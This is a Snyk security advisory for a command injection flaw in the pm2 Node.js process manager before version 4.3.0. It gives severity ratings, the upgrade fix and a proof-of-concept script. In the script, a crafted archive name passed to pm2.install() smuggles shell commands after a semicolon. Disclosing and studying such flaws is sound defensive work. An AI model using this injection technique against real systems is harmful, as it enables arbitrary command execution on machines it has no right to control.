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Command Injection Affecting pm2 package, versions <4.3.0

0.0
medium

Snyk CVSS

    Attack Complexity High
    Privileges Required High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept

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  • Snyk ID SNYK-JS-PM2-474345
  • published 25 Oct 2019
  • disclosed 24 Oct 2019
  • credit bl4de
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Introduced: 24 Oct 2019

CVE NOT AVAILABLE CWE-78 Open this link in a new tab

How to fix?

Upgrade pm2 to version 4.3.0 or higher.

Overview

pm2 is a production process manager for Node.js applications with a built-in load balancer.

Affected versions of this package are vulnerable to Command Injection. It is possible to execute arbitrary commands within the pm2.import() function when tar.gz archive is installed with a name provided as user controlled input.

PoC by bl4de

// pm2_exploit.js


'use strict'
const pm2 = require('pm2')


// payload - user controllable input
const payload = "foo.tar.gz;touch here;echo whoami>here;chmod +x here;./here>whoamreallyare"


pm2.connect(function(err) {
    if (err) {
        console.error(err)
        process.exit(2)
    }


pm2.start({

}, (err, apps) =&gt; {
    pm2.install(payload, {}) // injection
    pm2.disconnect()
    if (err) {
        throw err
    }
})



})